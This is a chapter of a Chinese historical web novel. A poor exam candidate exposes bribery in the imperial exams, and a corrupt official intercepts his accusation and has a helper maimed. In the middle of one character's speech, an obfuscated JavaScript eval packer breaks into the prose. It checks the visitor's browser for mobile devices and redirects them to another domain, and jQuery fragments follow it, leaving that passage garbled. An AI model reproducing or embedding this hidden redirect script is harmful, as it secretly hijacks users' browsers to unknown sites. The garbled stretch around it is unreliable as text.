姜归的脸被太阳晒得发烫，也越来越口渴。 到了午膳时间，客栈里飘着红烧肉的香味，勾得姜归的肚子咕咕叫，他摸出自己的麦饼，咬了一口，干得咽不下去，只好找掌柜去要一碗白开水。 “给给给，赶紧喝了走！别在这占地方！” 掌柜的不耐烦，把粗瓷碗往他面前一推，里面的水差点洒出来。 姜归心疼地咋舌，端起碗来，大喝一口，听见旁边桌的两个举子在说话。 青布袍的举子，一个凑到另一个的耳边，“听说了吗？主考官张伦大人的侄子张质，就住在后面一条街的千家胡同！” 另一个点头，“知道知道……我昨天想去拜访，刚到门口就被他家门房轰走了，说什么，放榜前不见客。” 第三个举子也加入进来，叹了口气，“我也去了！那管家说的更严重。什么，会试是为国选才，不能走旁门左道。看来张大人叔侄都是公正人，咱们啊，还是靠真本事吧。” 姜归在旁听了，心里一阵佩服，喃喃自语，“张家叔侄真是清正！京城有这样的考官，才是读书人的福气！” “清正？” 过道上飘来一个声音，是这客栈的伙计。 他端着空碗走过，嘴角挂着冷笑，眼里满是不屑，“举子大人，你还是太年轻！张家表面上不接拜访，实则，是你们没找对门道。所以说，没门道，就算你有天大本事，也未必能中榜。” 姜归忙放下碗，抓住那伙计的胳膊，问道，“什么门道？难道还有别的说法？你跟我说说！” 伙计的冷笑声更大，“你都没钱付房费，告诉你，也没用。再说了，这事要是传出去，我这命就没了。别问了，赶紧找你的笔吧。” 说完进了后厨，再也没出来。 桌边的姜归却越想越好奇。 他吃完了饼，拿上空碗，想去柜台边找掌柜继续打听，就见周慕从二楼下来。 周慕肩上背着一个布包，鼓鼓囊囊的装着不少东西，快步到柜台前，扔给掌柜一锭银子，“结账！我今天就走！” 掌柜的接过银子，掂了掂，笑开了花，“周公子不再住几天？放榜前，好的客栈都很紧俏，你搬走了，怕也找不到更合适的了。” 周慕口气生硬，“我有地方去。”他的脚步匆匆，肯定在赶时间。 姜归放下空碗，对掌柜的说，帮忙找到他的笔，必有重谢。而后，他追着周慕跑出了店门。 “周兄要去哪？难道去把字画卖了？你这些字画我看过，全是珍品，卖了可惜！” 周慕斜了他一眼，脚步没停，“你又没钱借给我，少管我的事。” 他扬手招来一辆马车，车夫一甩鞭子，马车哒哒跑远，扬起一阵尘土。 姜归站在客栈门口，疑窦丛生。 周慕刚才说约了人吃饭，怎么背着包裹，退了房？看周慕急匆匆的样子，不像是去吃饭，倒像是去见人，送礼。 他再一想，客栈伙计说了什么“找对门道”。 周慕背着的包裹，那么鼓，是不是他找到见张质公子的门路了？ 姜归好奇心起，咬咬牙，拔腿往马车走的方向追。 可他两条腿哪里跑得过马车，刚跑过一个拐角，见一辆眼熟的马车停在路口。 车帘掀开，一个浅粉衣裙的女子探出头。 女子挽着简单的发髻，别一支珍珠簪，正是朋友游乘的未婚妻秦徐。 “姜兄？” 秦徐也认出了他，忙让车夫勒马，“怎么跑得满头大汗？可是出事了？” 姜归喘着气，扶着马车，指着前面尘土飞扬的方向，“朋友……朋友的马车向那边走了，我担心有问题，必须追上去……” 秦徐眉心一皱，想了想，对姜归说，“男女有别，我不能让你上马车。你牵一匹马走，骑着追上再说。用完送回我的书局，别弄丢。” 姜归道了谢，翻身上马。 不过他这辈子还是第一次骑马，马身颠簸得厉害，他紧紧拽着缰绳，身子摇摇晃晃，好几次差点摔下来。幸好这马性子还算温顺，走了一段路，他渐渐掌握诀窍，稳住身形。 追着看准的方向走了不远，见周慕的马车停在一条窄巷口。 巷子没人，只有一个管家装扮的人站在那，手拿着一本册子，像在等什么人。 片刻，周慕从马车下来，把背上的布包递给管家。 管家打开，露出几幅卷轴，正是周慕从客栈带出来的字画。 这两人说了几句话，管家就引着周慕上了另一辆黑漆马车。 姜归见他们又要走，忙催马跟上，不敢靠太近，只远远地跟着。 马车走了约莫一盏茶，停在一座宅院前。宅院的门朱红，门上挂着一块匾额，写着“张府”两个字。 果然是张质公子的住处。 姜归心惊，想再靠近些，院门开了，有人走了出来。那人穿藏青官袍，左耳缺了一块，正是传闻中的都察院副都御史，李司。 周慕见了李司，对着李司拱手，腰弯得像个虾米，“多谢李大人！” 李司说，“没人知道你来这儿吧？” 周慕回话，“学生很小心，记着您的话，不想给您添麻烦。” 听到这里，躲在巷子里的姜归，眼睛猛地瞪圆。 都察院副都御史，李司，他怎么也在这里？看起来，李司就是外人说的“门道”。 姜归捂着心跳，躲到旁边的老树后，树干足够粗，正好能挡住他的身影。 他安静得屏住呼吸，耐心地等待，不多时，李司和周慕从张府出来，而周慕肩上的布包已经没了。 李司拍拍周慕的肩，语重心长，“你回客栈等消息，放心，本督会帮你安排。记住，别跟任何人提今天的事。” 周慕连连道谢，上了马车离开。 李司等他走远，带着管家走向另一个方向。 姜归悄悄跟在后面，听李家的管家低声说：“大人，还有三个湖西的举子在府上等您，说也想求您帮忙，都带了不少东西。” 李司的脚步顿了顿，“怎么只有湖西的？其他地方的呢？比如江南、岭南的举子，就没一个来的？” 管家忙道，“暂时没有，不过小的已经让人去传话，说，只要有才华，愿意孝敬大人，大人就愿意帮他们。” 这会儿，李司的脸色才缓和些，“算你懂事。记住，咱们这是为朝廷选才，不是收礼，明白吗？” 管家点头，“明白！大人是伯乐，这些举子能遇到大人，是他们的福气！” 姜归躲在后面，听得胃里一阵翻腾。 什么为朝廷选才，明明是收受贿赂。 忽然，旁边巷子里传来“哗啦”一声。 姜归转头，是一个卖糖人的商贩不小心碰倒了自己的糖人架。 那商贩抬起头，正好和姜归对上眼。 但他又看了看几丈外的李司，脸色瞬间一变，推着摊车就跑。 姜归追上商贩，“大哥，刚才你是不是听见他们说话了？能不能帮我做个人证？” 商贩停住车，苦着脸，“不行不行！那是李大人，是李首辅的座上宾，我可不敢得罪他！你是来京的举子吧，我劝你，也别管这事，小心惹祸上身！” 说完一溜烟消失在巷子尽头。 姜归心里发凉，回味商贩的话。 李首辅？内阁首辅李经章也参与了此事？ 春风带凉，扑在姜归脸上。 他看向刚才卖糖人的商贩推着车消失的巷口，久久回不过神。 连寻常百姓都知道，李司惹不得，还牵扯着内阁首辅李经章，今日，他目睹的事情，已不是简单的举子行贿，而是一桩惊天的舞弊案。 他得立刻把这事揭发出来，否则多少像他一样的寒门举子，要被这黑暗吞噬掉。 姜归不敢耽搁，骑着马赶往司宁侯府。 这段时间他住在游家，见证了游家的动荡。 虽说，游家近来十分不太平，府上二爷三爷接连遭了算计，但瘦死的骆驼比马大。 骑马路过街市的酒楼，里面传来举子们高谈阔论的笑声。 姜归的心更为沉重，这些人不知道，前程早已不由自己定，成了权贵交易的筹码。 下马进侯府时，门房迎上来，见是姜归，便没有阻拦。 姜归点头应着，直奔游家长房住的东园，朋友游乘坐在书房窗边，见他满头汗闯进，喘着粗气，起身问道，“姜兄出了什么事，跑得这样急？” “来不及细说。” 姜归抓住游乘的胳膊，随他进书房，坐在桌前，拿起墨条磨墨，“我要写揭帖，现在就写！” 游乘微怔，立刻接过他手里的墨条，继续磨。 又叫来丫鬟泡了一壶茶。 姜归接过茶，一饮而尽，抹了把嘴，拿过纸、笔，抓紧揭露那惊天的黑幕。 他握着笔，一笔一划写得认真。从午时，在客栈见周慕背字画出门，到跟踪至张府外，再到听见李司与管家的对话，甚至卖糖人商贩的反应，都一一写明。 “午时三刻，学生于城南客栈，见同乡举子周慕背负多幅字画离店，遂尾随。至千家胡同，后，前往主考官张伦之侄张质居所，周慕与都察院副都御史李司会面，一同进入张府。李司左耳缺一块，特征分明。后，又闻李司管家提及‘湖西举子’‘放出消息’等等。路上，有商贩言，李司为李首辅座上宾……” 每写一个字，姜归都觉得心头怒火更盛一分。 他想起哥哥卖牛换来他的笔，想起寒窗十年的不易，笔尖滑动的越来越急。 等写完最后一句“恳请彻查，还科举公平”，窗外已黑。 游乘的父亲游怜山下值，正好走进书房，身上朝服透出一些凉气。 “大爷。”姜归双手捧着写好的揭帖递过去。 游怜山接过揭帖，就着烛火仔细看，眉头越皱越紧。 看完他抬头望向姜归，严肃道，“你确定所见之人是李司？他左耳确有缺陷，是前些日子被女子咬了，朝中无人不知。” “学生看得真切！” 姜归十分坚定，“他与周慕从张府出来时，周慕还喊他‘李大人’，绝不会错！” 游乘在一旁补充，“李司前些日子还纠缠秦徐，游宜，品行极其不端，如今看来，他恶劣至极，早把国法抛到脑后了。” 游怜山沉吟片刻，到窗边望着夜色，“科举舞弊是重罪，尤其是会试期间，牵涉主考官与都察院官员，有不慎，会打草惊蛇。姜兄弟这揭帖，写得详细，却不能直接递上去，因为师出无名，容易被人半路截住。” “那怎么办？”姜归急了，“难道就看着他们逍遥法外？” 游怜山转过身，重新看向那份揭帖，“都察院负责监察百官，这事，该找都察院的人。孙承御史，是府上二弟游怜泉的旧部下，当年得二弟救过命，他入都察院，也是二弟举荐的。此人为人谨慎，应是念旧情，咱们找他递信，比直接上书稳妥。” 游乘点头，觉得事不宜迟。 那孙承住在后街的巷子，现在赶去找他，还来得及，他马上带着姜归去。 游怜山叮嘱儿子，路上小心，尽量避开人多的地方。 那李家在京城耳目众多，他们见了孙承坦言即可，如果孙承愿意帮忙，最好，若是犹豫，也别强求，回来从长计议。 两人应了声，快步出了东园。 游乘让管家备了一辆不起眼的小马车，找了件深色外衣给姜归披上，“夜里冷，也能避避人眼。” 姜归接过披风，心头温暖，在暗流涌动的京城，幸好还有游乘这样的朋友。 马车在夜色中快速移动。 姜归坐在车里，紧紧攥着揭帖，他想到李经章的权势滔天，忍不住担忧起来，“介舟，你说孙承会帮忙吗？” 游乘看着他，笃定道，“孙承当年落魄时，是我二伯帮他疏通关系。只是这事牵涉李首辅，或许孙承会犹豫，但不会直接拒绝，咱们先看看他的态度。” 巷口，很静。 几家窗户还有亮光，游乘带着姜归，到一扇门前，敲了敲门环。 没过多久，门开了，一个老仆探头，惊讶道，“游大公子？” “王伯，”游乘拱手，“深夜叨扰，实在抱歉，我们有要事找孙大人。” 老仆认得他，忙让开身子，“大人在书房看书，我去通报。” 两人跟着老仆进院，院里种着几棵树，枝桠叶子并不茂盛。 月光透过枝干，洒下一片清冷。 孙承穿着便服，从书房出来，见了游乘，露出几分笑，“介舟来了？这位是？” 游乘拉过姜归，“孙大人，这位是我的朋友姜归，也是本次会试的举子。我们今日来，是有一桩关乎科举舞弊的大事，想向您揭发。” 一听这话，孙承的笑瞬间没了，忙把两人带去书房，关上房门。 “舞弊？这话不能乱说，你们有证据吗？”孙承问道。 姜归把揭帖递上，“孙大人，这是学生今日亲眼所见所闻，句句属实！” 孙承接过揭帖，目光掠过副都御史李司的时候，猛地抬头，眼神震惊，“你们说的是李司？都察院副都御史，李司？” 姜归点头，“正是他！学生看得真切，绝不会错！” 游乘同样气愤，“这李司不仅舞弊，品行也极为不堪。前些日子的事，不必多言，如今他连科举这等重案都敢涉足，简直是胆大包天。” 孙承怒哼一声，重重拍了下桌案，“岂有此理！李司身为都察院官员，却知法犯法，竟敢在会试期间，私通主考官家眷，收受贿赂！这要是传出去，天下举子该如何看待朝廷？” 他边说边在书房里踱步，又停下来，看向姜归，“你这揭帖上，时间、地点、人物都清清楚楚，是重要的证据。” 游乘连忙道明更深一层的来意。 他们都知道这事重大，才不敢直接上书，只能来找御史孙承。孙承是都察院的人，又是游家二爷的旧部，只有孙承能把这揭帖，安全地递到都御史刘钦大人手里。 孙承合起揭帖，承诺道，“大公子放心，关乎朝廷颜面，关乎天下举子的前程，就算没有二爷的旧情，我也绝不会坐视不管！明日一早，我就把揭帖亲手交给刘钦大人，恳请他彻查此事！” 姜归悬着的心安了，忙拱手，“孙大人，若能还科举公平，学生感激不尽！” 孙承扶起他，“这是我身为御史的本分，只是你们要记住，这事暂时不能声张。李司在京城势力不小，若被他察觉，你们会有危险。这段时间，你们最好少出门，就在侯府待着，等我的好消息！” 两人又和孙承交代了更多的细节，才起身告辞。 走出孙府，月光似乎亮了些，游乘掐下一朵半开的杏花，对姜归说，“现在只等明日，刘钦大人看到姜兄的揭帖，查办李司。” 姜归亦是抬头望月，真能这么顺利就查清？ 他没有十足把握，但不管怎样，已经迈出第一步，就算艰险，也不可退缩。 走出巷口，夜风更紧，卷着老树枝条哗啦作响。 上了马车，姜归有些困意，闭着眼，却还忘不了揭帖一事。 刚才孙承也说了，揭帖会交给都察院都御史刘钦大人，才能进行下一步的彻查。 姜归想到一件事，猛地睁眼，“介舟，之前听彦维说，那秦徐姑娘原本要和都御史刘家结亲？” 游乘正低头盘算，闻言望了眼姜归，缓缓道，“五六年前的事了。原本秦刘两家父母已点头，就差选个吉日下聘了。” 姜归顿时往前凑，追问，“那后来怎么又黄了？是因为你……” 他话说到一半又咽回去，毕竟“抢别人定亲对象”这话不好直接问出口。 游乘倒不介意，反而笑了笑，“你想问，刘家因为我抢了秦家的亲，对我家有意见，所以，我父亲才没有亲自把揭帖送去刘家？” 姜归被猜中心思，补充道，“刘钦大人是都察院的院首，若直接把揭帖给他，比经孙承的手更快。可你父亲方才只字不提去刘家，我猜，两家关系闹僵了。” “关系不好是真的，但不全是因为秦徐。” 游乘垂眸回忆，当年之所以出面阻止两家结亲，是考虑到另一个人的感受。 “刘家的小公子刘与之，是我一起长大一起读书的挚友，若他还在京城，我倒真敢直接去刘家递揭帖。哪怕刘大人对我有意见，与之也会帮忙劝说。” 姜归眼睛一亮，“刘与之？就是那个和秦徐定亲的公子？你抢了人家的定亲对象，还和他关系好？这……这不合常理啊。” “什么抢不抢的，外人瞎传罢了。” 游乘无奈地摇头，难得认真地为自己解释。 因为刘与之根本不想认这门亲事，当年定亲前，他屡次与游乘说起感受，不想过早成婚，不想耽误秦徐。巧的是，秦徐也对这门亲事不满意。 两家长辈，强行撮合，受苦的却是刘与之和秦徐。 游乘不忍见那一天的到来，便找机会向秦徐提了提刘与之的决心，也让秦徐更有底气抗拒长辈，这才守得云开雾散。 故事过于离奇，姜归听得目瞪口呆，愣了好会才反应过来，“那你和秦徐姑娘……又是怎么定亲？” 游乘眼神沉下去，“这里面就牵扯到内阁首辅李经章的儿子，李谨。” “李谨？” 姜归心紧，糖人商贩说李司是李经章的座上宾，此刻又听到这个名字，对李家的做派更有了认识，“李谨做了什么？” 游乘冷道，“那时我母亲有意于秦徐，但秦家不同意。而李家隐瞒儿媳亡故的丧讯，找媒婆去秦家逼婚，要娶秦徐续弦。秦伯母吓得不行，不敢得罪李经章，只能让媒婆来找我母亲帮忙。随后，我祖母出面，请秦夫人和秦徐来府上，定了亲。” 一想起当时的场面，游乘仍气得拳头发紧。 姜归听得怒火中烧，骂道，“李谨好嚣张！李经章身为首辅，居然不管儿子！” “管？你以为李谨做这些，不是李经章自己安排好的？” 游乘已经看透了李家一门子，“奸诈无比……我们游家与李家，早就势同水火。三伯在外遇害，定也是被李家算计的。什么路遇山匪？谁不知道，李家自己就养着山匪头子？” 再则，便是二房周氏的死。 同样也是因为李司和李经章从中设计，让游家二爷游怜泉一蹶不振，不得不夺情，去了西南凶险之地，用命去谋一条活路。 游家的处境比姜归设想的，还要艰难。 姜归拍拍游乘的肩，“介舟，咱们手上这桩科举舞弊案，只要查清楚，定能将李经章拉下马！到时，不仅还科举一个公平，也能为你三伯、二伯讨公道。” 游乘在京城长大，却对此事没有太多信心。 他冷静下来，“但愿吧。李经章在朝多年，势力盘根错节，眼线遍布，想要扳倒他，没那么容易。” 夜风更凉，不断卷起路上的灰尘。 巡夜的更夫敲着梆子，从东传到西。 都察院御史孙承没有呆在家中，换上藏青的官袍。他攥着那封姜归写的揭帖，出了家门，绕过几条街，来到副都御史李司的府门前。 李家的门房见是孙承，不敢耽搁，忙引他进门。 书房里。 李司匆促赶来，外衣都没扣好，不耐烦道，“这么晚了，来做什么？” 孙承躬着身子，将揭帖递了过去，“大人，出大事了！今日游乘带着一个叫姜归的举子找我，这是那举子写的揭帖，里面全是告发大人您……您带周慕见张质的事！” 李司接过揭帖，只扫了开头，脸就变得黑沉。 他越往下看，脸皱得越紧，等看完了，他将揭帖摔在桌上，撞翻了茶水，溅了一地，“好个不知天高地厚的姜归！竟敢盯着本督的行踪，还敢乱写东西！” 孙承压低声音，“大人息怒！那姜归就是个寒门举子，没见过什么世面，估计是碰巧撞见了。现在揭帖在咱们手里，只要……” 他做了个抹脖子的手势，“把那小子收拾了，就能永绝后患！” 李司却摆摆手，深吸一口气，努力压下怒火。 他来回踱步，又回头，看着孙承，“姜归是本次会试的举子，还有几天就要放榜了，这时候他要是出了事，必然会引起皇帝的注意。到时候查起来，万一牵扯出周慕和张质，咱们都得完蛋，引火上身的事，不能做。” 孙承一愣，随即哈腰，“大人考虑得周全！是下官鲁莽了。那这揭帖……” “烧了！”李司毫不犹豫地说，“一点痕迹都不能留。” 孙承立刻照办，将揭帖凑近烛火。 纸张被点燃，火苗舔过字迹，很快就烧成了灰。 孙承把灰倒进旁边的痰盂，端来茶水浇灭，才转身对李司行礼，“大人放心，揭帖已经烧干净了，这事就算结束了。往后，下官一定多盯着游家和那姜归，绝不让他们再闹出什么乱子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246722|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李司看着孙承，露出几分满意。 他走回桌前，耐心地拿起茶壶，给孙承倒了一杯茶，“你办事，本督放心。这次你做得很好，等过些日子，本督会向李首辅提一提你的名字，说说你的能力。总之，跟着本督，不会亏待你。” 孙承连声道谢，越发恭敬，“谢大人提携！下官定尽心为大人效力，绝无二心！” 该谈的都交代清楚了。 李司摆摆手，让孙承赶紧离开。 书房里只剩下李司一人，他的笑意渐渐消失，取而代之的是阴冷的眼神。 游家的人，真麻烦，怎么他一有个什么动作，都要被游家拦一脚？ 会试放榜的日子，越来越近。 司宁侯府，长房东园。 几片海棠落地，被风吹得老高，没有着落。 姜归坐在院中的石凳上，看似在翻书，目光却落在院门口。 已经过去三天，孙承那边始终没消息，揭帖的事像石沉大海，让他心里越来越慌。 游乘还在守丧期间，穿素孝服，不能总是往府外跑。 姜归着急，几次想去孙承家中堵人，都被游乘劝住。 游乘劝他再等等，孙承不会言而无信。 或许，是刘钦大人在忙京察，没来得及处理。 姜归哪里等得下去？ 科举舞弊关乎会试结果，多拖一天，李司和张质就多一分销毁证据、逃脱罪责的可能。 到了第四日。 姜归实在按捺不住，瞒着游乘，独自往孙承家去。 孙承家门前，王伯开门，露出几分为难，“姜举子，大人正在书房会客……” “可我有急事找，耽误不起，”姜归不等说完，侧身进了院，直奔书房。 见孙承和一个穿官袍的人说着话。 姜归闯进来，孙承的脸一沉，指着他道，“你怎么进来的？” 穿官袍的人被打扰了，识趣地向孙承告辞，临走前，深深地瞪了姜归一眼。 等那人走后，孙承才语气冷淡道，“找我有事？” “孙大人，”姜归上前急切，“上次给您的揭帖，您交给刘钦大人了吗？怎么一点消息都没有？” 孙承撇了撇嘴，“揭帖早就交上去了，可刘大人最近忙京察，核查百官政绩，哪有时间看你那个？再等等吧。” 姜归顿时急了，“揭帖里举报的是，李司伙同主考官张伦舞弊！罪责重大，怎么能等？您到底有没有跟刘大人说清楚？” 孙承皱起眉头，“当然！可你是游家带来的，刘大人对游家一直有意见。当年游乘毁了刘家的亲事，刘大人心里憋气呢！” “这不是游家的事！” 姜归忍不住提高音调，“是李家和张考官连同舞弊！刘大人身为都御史，岂会小肚鸡肠，为私怨罔顾国法？” 孙承猛地拍桌，怒道，“你吼什么？李家怎么了？谁能证明，你写的不是假的？谁又知道，是不是游家让你污蔑李司大人，好趁机扳倒李家？” 这下让姜归愣住了。 姜归看着孙承的冷漠，心凉了半截。他终于看明白了，孙承根本没把揭帖交给刘钦，甚至可能早就把这事告诉了李司。 既然如此，他什么也没说，转身就离开孙家。 姜归只觉天旋地转，满心愤懑。 此事证据清晰，为何无人敢接手彻查？该有的公正，为何得不到半点保障？ 姜归赶回司宁侯府，让东园的丫鬟帮忙，去灵堂找回了在祭祀的游乘。 游乘来见姜归，身上带着明显的烧纸味道，“姜兄脸色怎么这么差？” 姜归把孙承的话一五一十转告，差点要咬碎牙齿。 没想到孙承是靠不住的，已经和李司串通好了。 游乘觉得此事要紧，领着姜归去礼部衙门外，找来父亲游怜山。 三人去街角的茶馆坐下。 游怜山听两人说完，分析得很中肯，“孙承怕李司，也怕李经章的势力，才会倒戈。但，这是人之常情……既然他靠不住，咱们就不通过御史递信，直接把信摆在刘钦的桌子上去！” 姜归和游乘瞪着双目。 游乘回过神，“可是，刘大人对咱游家有意见，他真的会管吗？” 姜归也跟着点头。 游怜山看着他俩，“游乘和刘家，闹是私事，刘钦能坐到都御史的位置，靠的不是别的，而是官德。这些年，他弹劾过不少权贵，可见其正直。或者，退一万步，咱们信他一次，赌一把。若是他真不管，我……还有后手！” “什么后手？”姜归眨眨眼。 游乘拉住他起身，“姜兄别问了，我父亲说有，肯定就是有。” 姜归只好点了点头，“那我回去再写封揭帖，这次就送到刘钦大人手里去。” 烛火跳动，伏案疾书。 姜归紧绷着脸，第二次重写了揭帖，他下笔的力度比上次更重，每个字都如同刻出来的。各种细节，反复确定，末了特意注明“愿以性命担保所言属实”。 而后，他郑重地折好，塞进信封。 与此同时，书房外。 游乘与父亲游怜山站在屋檐角落，说着话。 游怜山提到明日送信的关键人物，都察院的门吏阿权。 原来，此人是二伯游怜泉在地方巡查时救过的人，后来，阿权带母亲来京城寻医，花光钱财，是二伯给了阿权五十两银子。再后来，二伯帮阿权谋了都察院门吏的差事。 游乘明白父亲的用意，又几乎一夜未眠。 第二日天还没亮，两人换上乔装的衣服出门。 马车到都察院附近的巷口停下，游乘来找到二伯，熟门熟路，拐进一条窄巷，敲一扇木门。门很快开了，身材瘦小、脸上一道浅疤的汉子出来，正是阿权。 “大公子。” 阿权看见游乘，让他们进后院，警惕地关好门，“这时来都察院，还算安全，大人们都在朝上。” 游乘开门见山，掏出姜归写的揭帖，“我们有件关乎科举舞弊的大事，需要你帮忙把这封信递到刘钦大人的桌案上。” 阿权接过揭帖，只看了开头的“揭发都察院副都御史李司”几字，脸色就变了。他拿着揭帖的手微微发抖，咬牙点了头，“大公子放心，当年二爷救了我母亲的命，这份恩我记着呢。一会我趁打扫值房，把信放在刘大人的公文堆最上面，不会有人发现的。” 姜归连忙拱手，“阿权哥，若此事能成，您便是天下举子的恩人！” 阿权憨厚地笑，“您言重了！我没读多什么书，不懂大义，只想对得起自己的良心。李司这几年作威作福，早就该有人治治他！” 果然，这日的一切都很顺利。 阿权趁着打扫刘钦值房，悄悄把揭帖放在公文最上。 可他刚走出来，就见孙承提着食盒往这边走。这个孙承是都察院御史，常以“汇报工作”为由来刘钦的值房，实则不过是为李司打探消息。 在过道里碰面，孙承见阿权神色慌张，心里起疑。 等阿权走后，他径直进了值房。 刘钦参加朝议还没回来，桌上公文堆得老高，最上面那封没有署名的信，格外显眼。 孙承拿起信，看了几行，立马吓得捂住了嘴巴。 他不敢耽搁，揣着信就往李司的值房跑。李司已经从宫里回来，正端起茶杯，见孙承慌慌张张地来，还以为是揭帖的事被刘钦发现了。 李司刚想发作，却听见孙承说，“大人，幸好我去得及时，这封信被我截下来了！” 李司把信摔在桌上，眼神阴狠，“阿权这个吃里扒外的东西！敢帮游家和姜归递信，我看他是活腻了！”他叫来官差，低声吩咐几句，官差领命，匆匆去办。 又到了日暮。 姜归和游乘按照约定，赶去阿权家中听阿权的好消息。 却见阿权家的门虚掩着。 两人推开门，没见阿权的身影，屋子里有一股淡淡的血腥飘散着。 就在这时，门外传来脚步。 相熟的孙承穿着官袍，带着两个衙役走了进来，认出姜归和游乘时，他微微一顿，没有太多的惊讶，似乎早就料到一切。 “游公子，姜举子，真是不巧，阿权兄在都察院门口被人袭击，受了重伤，已经被送去街头那家医馆。” 场面话太虚伪，具体发生了什么，几人都心知肚明。 姜归和游乘对视一眼，拔腿就朝医馆跑去。 他们看见阿权仰面躺着，脸色极为苍白，右边袖口染了血，空荡荡的，缠着厚厚的纱布。 游乘冲过去，握住阿权的胳膊，才知自己没猜错，阿权被孙承报复，没了一只手，“他们怎么敢？” 阿权的眼眶涌下泪水，却发不出任何声音。 姜归扶住他的脖子，立刻闻到一股刺鼻的药味儿，恐怕，阿权已经被毒哑，再也说不出话了。 旁边的大夫叹了口气，“被砍了右手，还灌了哑药，送来时已经快不行。他能不能活，要看老天爷啦！” 游乘掏出五十两银票，交给这位大夫，“请您好好照顾哥哥……” 阿权见状，猛地摇头，用没受伤的胳膊推开银票，又示意大夫拿来纸笔。 可他没认过几个字，颤抖着画下几个小人，让人看不明白。 游乘摁住他的肩膀，哭道，“哥哥别写了，我明白你的意思。没办成事，不是你的错，这钱你留着养伤用。至于李司那恶人，我定要把他告倒，还所有人公道。” 姜归看那歪歪扭扭的画，也抱着阿权泣不成声。 若不是游乘扶着他出来，他怕是连路都走不了了。 “就算拼了这条命，也要把揭帖递上去！” 游乘看着姜归通红的眼睛，“姜兄现在心里不好受，但不能冲动。李司敢对阿权下这么狠的手，就是在警告咱们。” 姜归咬着牙，气愤到浑身颤抖，“李司越狠，越说明有鬼。这事，咱们查到底！” 阿权的遭遇，令游怜山听完后沉默了很久。 事到如今，只能走最后一步了。 游怜山到书架前，抽出一本册子。 这几天下来，游怜山已对事情的来龙去脉了解，并亲自写好了揭帖。 李家权势通天，该把揭帖投放给哪一个衙门？ 为商议此事，游怜山找到内阁次辅袁至诚，和阁臣秦舒，彼此有了充分的考虑，才决定祭出最后一击。 “去锦衣卫衙门。” 内阁首辅李经章的府邸，坐落在京中内城。 朱漆大门前的石狮子，在夜幕中折出冷光。 门房得知来人是李司，忙客气接引，将李司带往李经章的书房门前。 房中，桌上摆一盏刚沏好的茶，水汽氤氲。 其后，便坐着面无波澜的李经章。 “大人，阿权那边已经解决了。” 李司上前，“那小子骨头硬，被砍了手、灌了药，也不同意签字画押，指认是谁编造揭帖。” 李经章把面前的《资治通鉴》合上，缓缓抬眼，扫过李司紧绷的脸，“他不画押？那是你的问题。你找的人，手段太糙，吓住他啦！” 李司躬身，“是下官办事不利。不过您放心，阿权现在成了废人，也给了他背后的人警告，想来，不会再给咱们添麻烦了。” “添麻烦的，不是阿权。” 李经章揉着太阳穴，直直看向面前的李司，“我让人查过，找阿权递信的，是住在司宁侯府的一个江陵举子，叫姜归。听说，他亲眼看见你带周慕去见张质了？” 李司立刻跪了下来。 他额角冒出冷汗，“这……这不可能。我当时特意选了僻静的巷子，还让管家引着周慕从侧门进的张府，怎会被人看见？那揭帖上写的，都是编造的！” 世上没有不透风的墙。 李经章靠在一杯上，闭起眼睛，“姜归是寒门举子，心思细，认死理，把你和周慕的行踪、对话都记下来，才敢接二连三写揭帖举报你。” 李司把头压得更低，“大人，要不要我找人把姜归也解决了？只要他死，就算有揭帖，也没人能指证咱们！” 李经章却摆手，眼皮都没动，“你不是土匪，干不了这些干净利落的事。去年，你处理一个小吏，留下把柄，让都察院查了半个月，不记得么？现在还敢动举子，你真有胆。” 李司跪着没动，随便李经章数落什么，他都要听着。 李经章起身，负手叹气，“要是经资还在京城，这些事交给他，根本不用费心。他做事，向来稳妥，手脚又利落，绝不会留下痕迹。” 李司忙附和，“是啊，李二爷的手段，我自愧不如。当年他帮大人处理湖西的事，滴水不漏，连皇帝都查不出问题。要是他在，姜归那小子还敢蹦跶？” 李经章没接他的话，站在窗前的夜色边。 弟弟李经资，是李经章最得力的助手，也是他手里最锋利的刀。 可惜去年，因为替他儿子李谨收拾烂摊子，引起多余的瞩目，被他送到湖西老家避风头，至今，也没能回京。 就在这时，书房门被推开。 管家送来一封信，“大人，湖西寄的，说是二爷让公子亲笔写的。” 李经章回头，面露笑意。 他拆开信封，纸上的字不算工整，是他儿子李谨的笔迹。 至少，看起来很像。 信里写道： “儿子在湖西一切安好，二叔打理得很好，每日都会陪我去咱们家的私学。最近我觉得读书很有意思，开始试着写些文章。二叔说我写得有进步，还找老师帮我改了几篇。您不用惦记我，安心在京城。” 李经章拿着信，越看越欣慰，嘴角不自觉地露出笑容。 他的儿子李谨，从小不爱读书，去年因为在京城闹出大事，被他狠狠教训一顿，最后没办法，才让弟弟李经资把李谨带回湖西。 如今看到李谨愿意读书，还能写文章了，李经章的心也算是落了地。 “好啊！” 李经章把信折好，放在桌上，“我的谨儿，终于懂事，看来让他去湖西，是对的。” 李司还跪在地上，笑着恭维，“公子天资聪颖，只是以前没把心思放在读书上，如今在湖西，有老师管教，肯定能成大器。将来考取功名，李家更是锦上添花！” 李经章听了这番话，心情好了不少，“行了，你回去吧。姜归那边，他不动，你也别动。还有，这段时间别再和张质、周慕联系，免得被抓把柄。” 李司应声，躬身退了出去。 书房剩下李经章一人，他又把李谨的信拿出来，反复看了几遍。 李谨从小练字写“章”字时，最后一笔总会带个小勾，可这信里的“章”字，没有小勾。 李经章心里生了一点点疑惑，但觉得不可能。 此刻的湖西，并没有李谨。 真正的李谨在西南面，被李经资关在柴房，双手反绑，塞住嘴巴，动不了喊不出。 而柴房外，李经资看着柴房门，眉头深皱。 他的大哥什么都好，就是太看重李谨这不成器的儿子。不过，只要用李谨做幌子，就能轻易蒙蔽了李经章。 夜色渐深，柴房里偶尔传来挣扎声，很快又被淹没。 而京城的李经章还沉浸在儿子“懂事”的喜悦里，丝毫没有察觉，他最信任的弟弟李经资，已经暗自背叛了他。 快天明的时候，京城的锦衣卫衙门前，还没什么人。 